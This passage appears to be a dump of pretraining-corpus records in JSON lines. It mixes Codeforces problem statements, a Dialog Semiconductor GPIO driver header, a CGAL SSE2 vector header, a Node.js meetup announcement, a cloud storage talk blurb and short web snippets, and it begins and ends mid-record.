its state) one of the following happens:\n\n- A healthy cell with at least $$$2$$$ infected neighbors also becomes infected.\n- An infected cell with at least $$$2$$$ healthy neighbors also becomes healthy.\n\nIf no such cell exists, the process of recovery stops. Patient is considered recovered if the process of recovery has stopped and all the cells are healthy.\n\nWe're interested in a worst-case scenario: is it possible that the patient never recovers, or if it's not possible, what is the maximum possible duration of the recovery process?", "source": "cpt_codeforces", "language": "en", "token_count": 268, "token_count_with_eod": 269, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Agora Twitter Integration\n- pull agora social media integration\n- Twitter could integrate with the Agora, or the other way around, in several seemingly productive ways.\n- One way would be to automatically pull tweets that use wikilinks as backlinks in the matching node.\nAnother way would be to automatically tweet blocks with action tweet for users which added twitter integration, like so:\n- tweet if you write a block like this, the Agora will tweet it (exactly once, etc.)\n- Probably should support scheduling, throttling, etc.\n- The agora will also auto-embed tweets by default. The following is a demo.\n🌉 bridge to [[agora social media integration]] built by an Agora user\n🏛️ Stoas for [[@flancian/agora twitter integration]]\n📖 Open document (Hedgedoc) at https://doc.anagora.org/agora-twitter-integration 📖 Open document (Etherpad) at https://stoa.anagora.org/p/agora-twitter-integration", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 217, "token_count_with_eod": 218, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "/**\n * \\addtogroup BSP\n * \\{\n * \\addtogroup DEVICES\n * \\{\n * \\addtogroup GPIO\n * \\{\n * \\brief GPIO Control\n */\n\n/**\n *****************************************************************************************\n *\n * @file hw_gpio.h\n *\n * @brief Definition of API for the GPIO Low Level Driver.\n *\n * Copyright (c) 2016, Dialog Semiconductor\n * All rights reserved.\n * Redistribution and use in source and binary forms, with or without modification, \n * are permitted provided that the following conditions are met:\n * 1. Redistributions of source code must retain the above copyright notice, \n * this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation \n * and/or other materials provided with the distribution.\n * 3. Neither the name of the copyright holder nor the names of its contributors \n * may be used to endorse or promote products derived from this software without \n * specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" \n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED \n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. \n * IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, \n * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, \n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, \n * OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED \n * OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\n *****************************************************************************************\n */\n\n#ifndef HW_GPIO_H_\n#define HW_GPIO_H_\n\n#if dg_configUSE_HW_GPIO\n\n#include \n#include \n#include \n\n/* GPIO layout definitions */\n\n/** Number of GPIO ports available */\n#define HW_GPIO_NUM_PORTS (5)\n/** Number of GPIO pins available (cumulative) */\n#define HW_GPIO_NUM_PINS (HW_GPIO_PORT_0_NUM_PINS + HW_GPIO_PORT_1_NUM_PINS + \\\n HW_GPIO_PORT_2_NUM_PINS + HW_GPIO_PORT_3_NUM_PINS + \\\n HW_GPIO_PORT_4_NUM_PINS)\n/** Number of GPIO pins available in port 0 */\n#define HW_GPIO_PORT_0_NUM_PINS (8)\n/** Number of GPIO pins available in port 1 */\n#define HW_GPIO_PORT_1_NUM_PINS (8)\n/** Number of GPIO pins available in port 2 */\n#define HW_GPIO_PORT_2_NUM_PINS (5)\n/** Number of GPIO pins available in port 3 */\n#define HW_GPIO_PORT_3_NUM_PINS (8)\n/** Number of GPIO pins available in port 4 */\n#define HW_GPIO_PORT_4_NUM_PINS (8)\n/** Number of pins in each GPIO port */\nextern const uint8_t hw_gpio_port_num_pins[HW_GPIO_NUM_PORTS];\n\n\n/**\n * \\brief GPIO input/output mode\n *\n */\ntypedef enum {\n HW_GPIO_MODE_INPUT = 0, /**< GPIO as an input */\n HW_GPIO_MODE_INPUT_PULLUP = 0x100, /**< GPIO as an input with pull-up */\n HW_GPIO_MODE_INPUT_PULLDOWN = 0x200, /**< GPIO as an input with pull-down */\n HW_GPIO_MODE_OUTPUT = 0x300, /**< GPIO as an (implicitly push-pull) output */\n HW_GPIO_MODE_OUTPUT_PUSH_PULL = 0x300, /**< GPIO as an (explicitly push-pull) output */\n HW_GPIO_MODE_OUTPUT_OPEN_DRAIN = 0x700, /**< GPIO as an open-drain output */\n} HW_GPIO_MODE;\n\n/**\n * \\brief GPIO power source\n *\n */\ntypedef enum {\n HW_GPIO_POWER_V33 = 0, /**< V33 (3.3 V) power rail */\n HW_GPIO_POWER_VDD1V8P = 1, /**< VDD1V8P (1.8 V) power rail */\n} HW_GPIO_POWER;\n\n/**\n * \\brief GPIO port number\n *\n */\ntypedef enum {\n HW_GPIO_PORT_0 = 0, /**< GPIO Port 0 */\n HW_GPIO_PORT_1 = 1, /**< GPIO Port 1 */\n HW_GPIO_PORT_2 = 2, /**< GPIO Port 2 */\n HW_GPIO_PORT_3 = 3, /**< GPIO Port 3 */\n HW_GPIO_PORT_4 = 4 /**< GPIO Port 4 */\n} HW_GPIO_PORT;\n\n/**\n * \\brief GPIO pin number\n *\n */\ntypedef enum {\n HW_GPIO_PIN_0 = 0, /**< GPIO Pin 0 */\n HW_GPIO_PIN_1 = 1, /**< GPIO Pin 1 */\n HW_GPIO_PIN_2 = 2, /**< GPIO Pin 2 */\n HW_GPIO_PIN_3 = 3, /**< GPIO Pin 3 */\n HW_GPIO_PIN_4 = 4, /**< GPIO Pin 4 */\n HW_GPIO_PIN_5 = 5, /**< GPIO Pin 5 */\n HW_GPIO_PIN_6 = 6, /**< GPIO Pin 6 */\n HW_GPIO_PIN_7 = 7, /**< GPIO Pin 7 */\n} HW_GPIO_PIN;\n\n/**\n * \\brief GPIO function\n *\n */\ntypedef enum {\n HW_GPIO_FUNC_GPIO = 0, /**< GPIO */\n HW_GPIO_FUNC_UART_RX = 1, /**< GPIO as UART RX */\n HW_GPIO_FUNC_UART_TX = 2, /**< GPIO as UART TX */\n HW_GPIO_FUNC_UART_IRDA_RX = 3, /**< GPIO as UART IRDA RX */\n HW_GPIO_FUNC_UART_IRDA_TX = 4, /**< GPIO as UART IRDA TX */\n HW_GPIO_FUNC_UART2_RX = 5, /**< GPIO as UART2 RX */\n HW_GPIO_FUNC_UART2_TX = 6, /**< GPIO as UART2 TX */\n HW_GPIO_FUNC_UART2_IRDA_RX = 7, /**< GPIO as UART2 IRDA RX */\n HW_GPIO_FUNC_UART2_IRDA_TX = 8, /**< GPIO as UART2 IRDA TX */\n HW_GPIO_FUNC_UART2_CTSN = 9, /**< GPIO as UART2 CTSN */\n HW_GPIO_FUNC_UART2_RTSN = 10, /**< GPIO as UART2 RTSN */\n HW_GPIO_FUNC_SPI_DI = 11, /**< GPIO as SPI DI */\n HW_GPIO_FUNC_SPI_DO = 12, /**< GPIO as SPI DO */\n HW_GPIO_FUNC_SPI_CLK = 13, /**< GPIO as SPI CLK */\n HW_GPIO_FUNC_SPI_EN = 14, /**< GPIO as SPI EN */\n HW_GPIO_FUNC_SPI2_DI = 15, /**< GPIO as SPI2 DI */\n HW_GPIO_FUNC_SPI2_DO = 16, /**< GPIO as SPI2 DO */\n HW_GPIO_FUNC_SPI2_CLK = 17, /**< GPIO as SPI2 CLK */\n HW_GPIO_FUNC_SPI2_EN = 18, /**< GPIO as SPI2 EN */\n HW_GPIO_FUNC_I2C_SCL = 19, /**< GPIO as I2C SCL */\n HW_GPIO_FUNC_I2C_SDA = 20, /**< GPIO as I2C SDA */\n HW_GPIO_FUNC_I2C2_SCL = 21, /**< GPIO as I2C2 SCL */\n HW_GPIO_FUNC_I2C2_SDA = 22, /**< GPIO as I2C2 SDA */\n HW_GPIO_FUNC_PWM0 = 23, /**< GPIO as PWM0 */\n HW_GPIO_FUNC_PWM1 = 24, /**< GPIO as PWM1 */\n HW_GPIO_FUNC_PWM2 = 25, /**< GPIO as PWM2 */\n HW_GPIO_FUNC_PWM3 = 26, /**< GPIO as PWM3 */\n HW_GPIO_FUNC_PWM4 = 27, /**< GPIO as PWM4 */\n HW_GPIO_FUNC_BLE_DIAG = 28, /**< GPIO as BLE DIAG */\n HW_GPIO_FUNC_FTDF_DIAG = 29, /**< GPIO as FTDF DIAG */\n HW_GPIO_FUNC_PCM_DI = 30, /**< GPIO as PCM DI */\n HW_GPIO_FUNC_PCM_DO = 31, /**< GPIO as PCM DO */\n HW_GPIO_FUNC_PCM_FSC = 32, /**< GPIO as PCM FSC */\n HW_GPIO_FUNC_PCM_CLK = 33, /**< GPIO as PCM CLK */\n HW_GPIO_FUNC_PDM_DI = 34, /**< GPIO as PDM DI */\n HW_GPIO_FUNC_PDM_DO = 35, /**< GPIO as PDM DO */\n HW_GPIO_FUNC_PDM_CLK = 36, /**< GPIO as PDM CLK */\n HW_GPIO_FUNC_USB_SOF = 37, /**< GPIO as USB SOF */\n HW_GPIO_FUNC_ADC = 38, /**< GPIO as ADC */\n HW_GPIO_FUNC_USB = 38, /**< GPIO as USB */\n HW_GPIO_FUNC_QSPI = 38, /**< GPIO as QSPI */\n HW_GPIO_FUNC_XTAL32 = 38, /**< GPIO as XTAL32 */\n HW_GPIO_FUNC_QUADEC_XA = 39, /**< GPIO as QUADEC XA */\n HW_GPIO_FUNC_QUADEC_XB = 40, /**< GPIO as QUADEC XB */\n HW_GPIO_FUNC_QUADEC_YA = 41, /**< GPIO as QUADEC YA */\n HW_GPIO_FUNC_QUADEC_YB = 42, /**< GPIO as QUADEC YB */\n HW_GPIO_FUNC_QUADEC_ZA = 43, /**< GPIO as QUADEC ZA */\n HW_GPIO_FUNC_QUADEC_ZB = 44, /**< GPIO as QUADEC ZB */\n HW_GPIO_FUNC_IR_OUT = 45, /**< GPIO as IR OUT */\n HW_GPIO_FUNC_BREATH = 46, /**< GPIO as BREATH */\n HW_GPIO_FUNC_KB_ROW = 47, /**< GPIO as KB ROW */\n HW_GPIO_FUNC_COEX_EXT_ACT0 = 48, /**< GPIO as COEX EXT ACT0 */\n HW_GPIO_FUNC_COEX_EXT_ACT1 = 49, /**< GPIO as COEX EXT ACT1 */\n HW_GPIO_FUNC_COEX_SMART_ACT = 50, /**< GPIO as COEX SMART ACT */\n HW_GPIO_FUNC_COEX_SMART_PRI = 51, /**< GPIO as COEX SMART PRI */\n HW_GPIO_FUNC_CLOCK = 52, /**< GPIO as CLOCK */\n HW_GPIO_FUNC_ONESHOT = 53, /**< GPIO as ONESHOT */\n HW_GPIO_FUNC_PWM5 = 54, /**< GPIO as PWM5 */\n HW_GPIO_FUNC_PORT0_DCF = 55, /**< GPIO as PORT0 DCF */\n HW_GPIO_FUNC_PORT1_DCF = 56, /**< GPIO as PORT1 DCF */\n HW_GPIO_FUNC_PORT2_DCF = 57, /**< GPIO as PORT2 DCF */\n HW_GPIO_FUNC_PORT3_DCF = 58, /**< GPIO as PORT3 DCF */\n HW_GPIO_FUNC_PORT4_DCF = 59, /**< GPIO as PORT4 DCF */\n HW_GPIO_FUNC_RF_ANT_TRIM0 = 60, /**< GPIO as RF ANT TRIM0 */\n HW_GPIO_FUNC_RF_ANT_TRIM1 = 61, /**< GPIO as RF ANT TRIM1 */\n HW_GPIO_FUNC_RF_ANT_TRIM2 = 62 /**< GPIO as RF ANT TRIM2 */\n} HW_GPIO_FUNC;\n\n/**\n * \\brief GPIO pin configuration\n *\n * It's recommended to use \\p HW_GPIO_PINCONFIG and \\p HW_GPIO_PINCONFIG_RESERVE to set pin entries.\n * Each configuration must be terminated using \\p HW_GPIO_PINCONFIG_END macro.\n *\n */\ntypedef struct {\n uint8_t pin; /**< pin name, high-nibble is port number and low-nibble is pin */\n HW_GPIO_MODE mode; /**< pin mode */\n HW_GPIO_FUNC func; /**< pin function */\n bool high; /**< initial pin state, true for high and false for low */\n bool reserve; /*<< true if pin should be also reserved */\n} __attribute__((packed)) gpio_config;\n\n/**\n * \\brief GPIO pin configuration for \\p gpio_config\n *\n * \\p xport and \\p xpin are specified as symbols from \\p HW_GPIO_PORT and \\p HW_GPIO_PIN enums\n * respectively or more conveniently as plain numeric values.\n * \\p xmode and \\p xfunc have the same values as defined in \\p HW_GPIO_MODE and \\p HW_GPIO_FUNC enums\n * respectively, except they have prefix stripped.\n *\n * \\param [in] xport port number\n * \\param [in] xpin pin number\n * \\param [in] xmode pin mode\n * \\param [in] xfunc pin function\n * \\param [in] xhigh true for high state, false otherwise\n *\n */\n#define HW_GPIO_PINCONFIG(xport, xpin, xmode, xfunc, xhigh) \\\n { \\\n .pin = (xport << 4) | (xpin & 0x0F), \\\n .mode = HW_GPIO_MODE_ ## xmode, \\\n .func = HW_GPIO_FUNC_ ## xfunc, \\\n .high = xhigh, \\\n .reserve = false, \\\n }\n\n/**\n * \\brief GPIO pin configuration and reservation for \\p gpio_config\n *\n * This macro is virtually identical to \\p HW_GPIO_PINCONFIG, except it also reserves pin.\n *\n * \\param [in] xport port number\n * \\param [in] xpin pin number\n * \\param [in] xmode pin mode\n * \\param [in] xfunc pin function\n * \\param [in] xhigh true for high state, false otherwise\n *\n * \\sa HW_GPIO_PINCONFIG\n *\n */\n#define HW_GPIO_PINCONFIG_RESERVE(xport, xpin, xmode, xfunc, xhigh) \\\n { \\\n .pin = (xport << 4) | (xpin & 0x0F), \\\n .mode = HW_GPIO_MODE_ ## xmode, \\\n .func = HW_GPIO_FUNC_ ## xfunc, \\\n .high = xhigh, \\\n .reserve = true, \\\n }\n\n/**\n * \\brief Macro to properly terminate array of \\p gpio_config definition\n *\n */\n#define HW_GPIO_PINCONFIG_END \\\n { \\\n .pin = 0xFF, \\\n }\n\n/**\n * \\brief GPIO configuration\n *\n * This is a shortcut to configure multiple GPIOs in one call.\n * \\p cfg is an array of GPIO pins configuration, it should be terminated by dummy element with\n * \\p pin member set to 0xFF (macro \\p HW_GPIO_PINCONFIG can be used for this purpose).\n *\n * \\param [in] cfg GPIO pins configuration\n *\n * \\sa hw_gpio_configure_pin\n * \\sa hw_gpio_set_pin_function\n *\n */\nvoid hw_gpio_configure(const gpio_config cfg[]);\n\n/**\n * \\brief Reserve GPIO pin\n *\n * Reserve pin for exclusive usage.\n * This macro can be used in application peripheral_setup function to detect\n * usage of same GPIO pin by different applications.\n *\n * \\param [in] port GPIO port number\n * \\param [in] pin GPIO pin number\n *\n * \\return true if pin was successfully reserved and setup, false if pin was already reserved\n *\n */\nbool hw_gpio_reserve_pin(HW_GPIO_PORT port, HW_GPIO_PIN pin);\n\n/**\n * \\brief Reserve GPIO pin and set pin function\n *\n * Reserve pin and set up it function. If pin was already reserved do nothing.\n *\n * \\param [in] port GPIO port number\n * \\param [in] pin GPIO pin number\n * \\param [in] mode GPIO access mode\n * \\param [in] function GPIO function\n * \\param [in] high in case of PID_GPIO and OUTPUT value to set on pin\n *\n * \\return true if pin was successfully reserved and setup, false if pin was already reserved\n *\n */\nbool hw_gpio_reserve_and_configure_pin(HW_GPIO_PORT port, HW_GPIO_PIN pin, HW_GPIO_MODE mode,\n HW_GPIO_FUNC function, bool high);\n\n/**\n * \\brief Unreserve GPIO pin\n *\n * Free reserved pin. If pin was not reserved do nothing.\n * Configuration of pin does not change just reservation.\n *\n * \\note If pin was reserved using RESERVE_GPIO it will also be unreserved.\n * If RESERVE_GPIO was not enabled by compile time flags call to this function\n * may cause unexpected result.\n *\n * \\param [in] port GPIO port number\n * \\param [in] pin GPIO pin number\n *\n * \\sa hw_gpio_reserve_and_configure_pin\n * \\sa hw_gpio_reserve_pin\n * \\sa RESERVE_GPIO\n *\n */\nvoid hw_gpio_unreserve_pin(HW_GPIO_PORT port, HW_GPIO_PIN pin);\n\n#if (DEBUG_GPIO_ALLOC_MONITOR_ENABLED == 1)\n/**\n * \\brief Reserve GPIO pin\n *\n * Reserve pin for exclusive usage. If pin is already allocated trigger breakpoint.\n * This macro should be used in application peripheral_setup function to detect\n * usage of same GPIO pin by different applications.\n *\n * If runtime GPIO reservation is needed, use hw_gpio_reserve_pin,\n * hw_gpio_reserve_and_configure_pin and hw_gpio_unreserve_pin instead.\n *\n * \\param [in] name parameter ignored, used for debug only\n * \\param [in] port GPIO port number\n * \\param [in] pin GPIO pin number\n * \\param [in] func parameter ignored (for compatibility)\n *\n * \\sa hw_gpio_reserve_pin\n * \\sa hw_gpio_reserve_and_configure_pin\n * \\sa hw_gpio_unreserve_pin instead\n *\n */\n#define RESERVE_GPIO(name, port, pin, func) \\\n do { \\\n if (!hw_gpio_reserve_pin((port), (pin))) { \\\n /* If debugger stops at this line, there is configuration problem */ \\\n /* pin is used without being reserved first */ \\\n __BKPT(0); /* this pin has not been previously reserved! */ \\\n } \\\n } while (0)\n\n#else\n\n#define RESERVE_GPIO( name, port, pin, func ) \\\n do { \\\n \\\n } while (0)\n\n#endif // (DEBUG_GPIO_ALLOC_MONITOR_ENABLED == 1)\n\n/**\n * \\brief Set the pin type and mode\n *\n * \\param [in] port GPIO port\n * \\param [in] pin GPIO pin\n * \\param [in] mode GPIO pin mode\n * \\param [in] function GPIO pin usage\n *\n */\nvoid hw_gpio_set_pin_function(HW_GPIO_PORT port, HW_GPIO_PIN pin, HW_GPIO_MODE mode,\n HW_GPIO_FUNC function);\n\n/**\n * \\brief Get the pin type and mode\n *\n * \\param [in] port GPIO port\n * \\param [in] pin GPIO pin\n * \\param [out] mode GPIO pin mode\n * \\param [out] function GPIO pin usage\n *\n */\nvoid hw_gpio_get_pin_function(HW_GPIO_PORT port, HW_GPIO_PIN pin, HW_GPIO_MODE* mode,\n HW_GPIO_FUNC* function);\n\n/**\n * \\brief Combined function to set the state and the type and mode of the GPIO pin\n *\n * \\param [in] port GPIO port\n * \\param [in] pin GPIO pin\n * \\param [in] mode GPIO pin mode\n * \\param [in] function GPIO pin usage\n * \\param [in] high set to TRUE to set the pin into high else low\n *\n */\nvoid hw_gpio_configure_pin(HW_GPIO_PORT port, HW_GPIO_PIN pin, HW_GPIO_MODE mode,\n HW_GPIO_FUNC function, const bool high);\n\n/**\n * \\brief Configure power source for pin output\n *\n * \\param [in] port GPIO port\n * \\param [in] pin GPIO pin\n * \\param [in] power GPIO power source\n *\n */\nvoid hw_gpio_configure_pin_power(HW_GPIO_PORT port, HW_GPIO_PIN pin, HW_GPIO_POWER power);\n\n/**\n * \\brief Set a GPIO in high state\n *\n * The GPIO should have been previously configured as an output!\n *\n * \\param [in] port GPIO port\n * \\param [in] pin GPIO pin\n *\n */\nvoid hw_gpio_set_active(HW_GPIO_PORT port, HW_GPIO_PIN pin);\n\n/**\n * \\brief Set a GPIO in low state\n *\n * The GPIO should have been previously configured as an output!\n *\n * \\param [in] port GPIO port\n * \\param [in] pin GPIO pin\n *\n */\nvoid hw_gpio_set_inactive(HW_GPIO_PORT port, HW_GPIO_PIN pin);\n\n/**\n * \\brief Get the GPIO status\n *\n * The GPIO should have been previously configured as input!\n *\n * \\param [in] port GPIO port\n * \\param [in] pin GPIO pin\n *\n * \\return true if the pin is high, false if low\n *\n */\nbool hw_gpio_get_pin_status(HW_GPIO_PORT port, HW_GPIO_PIN pin);\n\n/**\n * \\brief Toggle GPIO pin state\n *\n * \\param [in] port GPIO port\n * \\param [in] pin GPIO pin\n *\n */\nvoid hw_gpio_toggle(HW_GPIO_PORT port, HW_GPIO_PIN pin);\n\n/**\n * \\brief Find pins with specific function\n *\n * Function searches for pins configured for specific function.\n * If buf is not NULL and buf_size is greater than 0 pins are stored in buf\n * high-nibble is port number and low-nibble is pin.\n * If number of pins found is greater then buf_size only buf_size entries are filled, though\n * the returned number of found pins is correct.\n *\n * \\param [in] func function to lookup\n * \\param [out] buf buffer for port-pin pairs that are configured for specific function\n * \\param [in] buf_size size of buf\n *\n * \\return number of pins with specific function put in buf\n * 0 - no pin is configured for this function\n *\n */\nint hw_gpio_get_pins_with_function(HW_GPIO_FUNC func, uint8_t *buf, int buf_size);\n\n\n#endif /* dg_configUSE_HW_GPIO */\n\n#endif /* HW_GPIO_H_ */\n\n/**\n * \\}\n * \\}\n * \\}\n */", "source": "cpt_stack_code", "language": "code", "token_count": 5108, "token_count_with_eod": 5109, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Chaneka has an array $$$[a_1,a_2,\\ldots,a_n]$$$. Initially, all elements are white. Chaneka will choose one or more different indices and colour the elements at those chosen indices black. Then, she will choose all white elements whose indices are multiples of the index of at least one black element and colour those elements green. After that, her score is the maximum value of $$$a_i$$$ out of all black and green elements.\n\nThere are $$$2^n-1$$$ ways for Chaneka to choose the black indices. Find the sum of scores for all possible ways Chaneka can choose the black indices. Since the answer can be very big, print the answer modulo $$$998\\,244\\,353$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 160, "token_count_with_eod": 161, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "The landscape can be expressed as a row of consecutive cells, each of which either contains a flower of colour amber or buff or canary yellow, or is empty.\n\nWhen a flower withers, it disappears from the cell that it originally belonged to, and it spreads petals of its colour in its two neighbouring cells (or outside the field if the cell is on the side of the landscape). In case petals fall outside the given cells, they simply become invisible.\n\nYou are to help Kanno determine whether it's possible that after some (possibly none or all) flowers shed their petals, at least one of the cells contains all three colours, considering both petals and flowers. Note that flowers can wither in arbitrary order.", "source": "cpt_codeforces", "language": "en", "token_count": 146, "token_count_with_eod": 147, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Alice has $$$n$$$ books. The $$$1$$$-st book contains $$$a_1$$$ pages, the $$$2$$$-nd book contains $$$a_2$$$ pages, $$$\\ldots$$$, the $$$n$$$-th book contains $$$a_n$$$ pages. Alice does the following:\n\n- She divides all the books into two non-empty piles. Thus, each book ends up in exactly one of the two piles.\n- Alice reads one book with the highest number in each pile.\n\nAlice loves reading very much. Help her find the maximum total number of pages she can read by dividing the books into two piles.", "source": "cpt_codeforces", "language": "en", "token_count": 130, "token_count_with_eod": 131, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "// Copyright (c) 2014\n// INRIA Saclay-Ile de France (France)\n//\n// This file is part of CGAL (www.cgal.org)\n//\n// $URL$\n// $Id$\n// SPDX-License-Identifier: LGPL-3.0-or-later OR LicenseRef-Commercial\n//\n// Author(s) : Marc Glisse\n\n#ifndef CGAL_VECTOR_SSE2_H\n#define CGAL_VECTOR_SSE2_H\n\n// Check what needs adapting for clang, intel and microsoft\n#if !defined __SSE2__ || (__GNUC__ * 100 + __GNUC_MINOR__ < 408)\n#error Requires SSE2 and gcc 4.8+\n#endif\n#include // FIXME: other platforms call it differently\n\n#include \n#include \n#include // CGAL::Sign\n#include // CGAL::sign\n\n\n\nnamespace CGAL {\n\n struct Sse_vector_2 {\n typedef double NT;\n typedef Dimension_tag<2> Dimension;\n typedef Dimension_tag<2> Max_dimension;\n // No Rebind_dimension, this is a building block\n template struct Property : boost::false_type {};\n template struct Property\n : boost::true_type {};\n /* MAYBE?\n template struct Property\n : boost::true_type {};\n */\n template struct Property\n : boost::true_type {};\n template struct Property\n : boost::true_type {};\n\n typedef __m128d Vector;\n struct Construct_vector {\n struct Dimension {\n // Initialize with NaN?\n Vector operator()(unsigned d) const {\n CGAL_assertion(d==2);\n return Vector();\n }\n };\n\n struct Iterator {\n template\n Vector operator()(unsigned d,Iter const& f,Iter const& e) const {\n CGAL_assertion(d==2);\n double x0 = *f;\n double x1 = *++f;\n CGAL_assertion(++f==e);\n Vector a = { x0, x1 };\n return a;\n }\n };\n\n struct Iterator_and_last {\n template\n Vector operator()(unsigned d,Iter const& f,Iter const& e,double t) const {\n CGAL_assertion(d==2);\n Vector a = { *f, t };\n CGAL_assertion(++f==e);\n return a;\n }\n };\n\n struct Values {\n Vector operator()(double a,double b) const {\n Vector r = { a, b };\n return r;\n }\n };\n\n struct Values_divide {\n Vector operator()(double h,double a,double b) const {\n // {a,b}/{h,h} is probably slower\n Vector r = { a/h, b/h };\n return r;\n }\n };\n };\n\n typedef double const* Vector_const_iterator;\n static inline Vector_const_iterator vector_begin(Vector const&a){\n return (Vector_const_iterator)(&a);\n }\n static inline Vector_const_iterator vector_end(Vector const&a){\n return (Vector_const_iterator)(&a)+2;\n }\n static inline unsigned size_of_vector(Vector){\n return 2;\n }\n public:\n\n static double determinant_of_vectors(Vector a, Vector b) {\n __m128d c = _mm_shuffle_pd (b, b, 1); // b1, b0\n __m128d d = a * c; // a0*b1, a1*b0\n#ifdef __SSE3__\n __m128d e = _mm_hsub_pd (d, d);\n return e[0];\n#else\n return d[0]-d[1];\n#endif\n }\n static CGAL::Sign sign_of_determinant_of_vectors(Vector a, Vector b) {\n return CGAL::sign(determinant_of_vectors(a,b));\n }\n\n static double dot_product(Vector a,Vector b){\n#ifdef __SSE4_1__\n return _mm_dp_pd (a, b, 1+16+32)[0];\n#else\n __m128d p = a * b;\n#if defined __SSE3__\n __m128d s = _mm_hadd_pd (p, p);\n return s[0];\n#else\n return p[0]+p[1];\n#endif\n#endif\n };\n };\n\n}\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 1103, "token_count_with_eod": 1104, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Welcome to April's meetup! We're delighted to welcome 3 speakers this month. Mike Solomon, Donovan Hutchinson and Yuta Hiroto.\n**Pizza will be arriving at 7 pm before the talks, get in early! :)**\nMike Solomon is the founder and CEO of Meeshkan (meeshkan.com), a Helsinki-based DevOps company. A music major at Stanford University, Queen's University Belfast and the University of Florida, Mike has been a guest researcher at the University of Paris VI and has held the post of artistic director of the Ensemble 101 (ensemble101.fr) from 2011 until the present day. While working at the IRCAM as a computer music designer, he fell in love with Machine Learning and founded Meeshkan to ease several DevOps pain points in the ML pipeline. Since then, Meeshkan has expanded to other areas of DevOps, including API testing with unmock (unmock.io).\nTalk Title: Testing apps with third-party API integrations\nIn this talk we will examine strategies and best practices to develop and test node apps that make heavy use of third-party API integrations. As reliance on third-party services becomes more and more prevalent in the node ecosystem, developers need cost-effective, secure, reliable and fast ways to mock these services for both dev/staging environments and testing.\nWe will start with looking at nock, an open-source mocking solution for local development, and move onto unmock which provides mocks-as-a-service of popular APIs.\nThe session will have live coding for both nock and unmock using express to create a simple microservice and jest for testing. It will also present several popular design patterns for isolating and testing third-party integrations as well as strategies for integration testing apps that rely on third-party APIs, including corner-case and error testing.\nDonovan Hutchinson has been creating web pages and apps for clients for over 20 years. He writes and builds CSS animation tutorials on CSSAnimation.rocks, and has been published in Net Magazine, Smashing Magazine, Adobe Inspire, Modern Web and more.\nAs well as writing for online publications, Donovan writes and publishes books on front-end development and design, with a focus on animation and user experience.\nTalk Title: UI animation in React\nSmall UI animations can make a big difference in the quality and ease of use of our apps. In this talk I’ll discuss ways we can approach building small, effective animations using CSS, incorporating them into a theme, and using a helpful package to make useful, consistent animation easy to build.\nTalk Title: Introduce the new ESM implementation of Node.js\nAddress: Intercom, 2nd Floor Stephen Court, 18-21 St Stephen's Green, Dublin, D02 N960\n18:30 – Doors Open / Networking / Grab a Drink\n19:00 – Grab some pizza, have a chat before our talks begin.\nIntro to Speaker & Sponsors with Sean Walsh, nearForm\n19:15 - GUEST SPEAKER Mike Solomon\n19:45 - Q&A available to the speaker\n19:55 - GUEST SPEAKER Donovan Hutchinson\n20:30 - Q&A available\n20:35 - Yuta Hiroto\n20:55 - Q&A\nHope to see you all there and as always, we'll have free pizza & beer! :)\nBe sure to follow us on Twitter (https://twitter.com/nodejsdublin) & Facebook (https://www.facebook.com/nearFormLtd/)for updates and subscribe to our YouTube channel (https://www.youtube.com/playlist?list=PL0CdgOSSGlBaZFb4TWvv30aUKhufvJ708) to watch all our guest speakers!\nAny member who would like to submit a talk for an upcoming meetup, please chat to any of the organisers on the night or email [masked] or [masked].", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I am pleased to be part of Cloud Slam ’09, the cloud computing virtual conference!\nMy presentation on Monday evening focuses on the emergence of cloud storage in the enterprise space: Why it’s important, what it is, and how to act on it. I start by talking about the drivers, including the unexpectedly high cost of storage and the failures of tiered storage so far. I then suggest a new paradigm for the enterprise, leveraging solid state disks and the cloud. I reality check this against McKinsey’s recent cloud model and demonstrate some TCO goodness. Finally, I talk about the reasons folks might be concerned about bringing cloud storage into their environments.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 133, "token_count_with_eod": 134, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Many modern text editors automatically check the spelling of the user's text. Some editors even suggest how to correct typos.\n\nIn this problem your task to implement a small functionality to correct two types of typos in a word. We will assume that three identical letters together is a typo (for example, word \"helllo\" contains a typo). Besides, a couple of identical letters immediately followed by another couple of identical letters is a typo too (for example, words \"helloo\" and \"wwaatt\" contain typos).\n\nWrite a code that deletes the minimum number of letters from a word, correcting described typos in the word. You are allowed to delete letters from both ends and from the middle of the word.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Hi I am a network marketier and also a huge fan of science fiction and fantasy and was thinking of combining these two into a couple projects , publishing some short sci fi stories in an ebook and marketing it and also starting a site how to market your sci fi writing online .\nId be 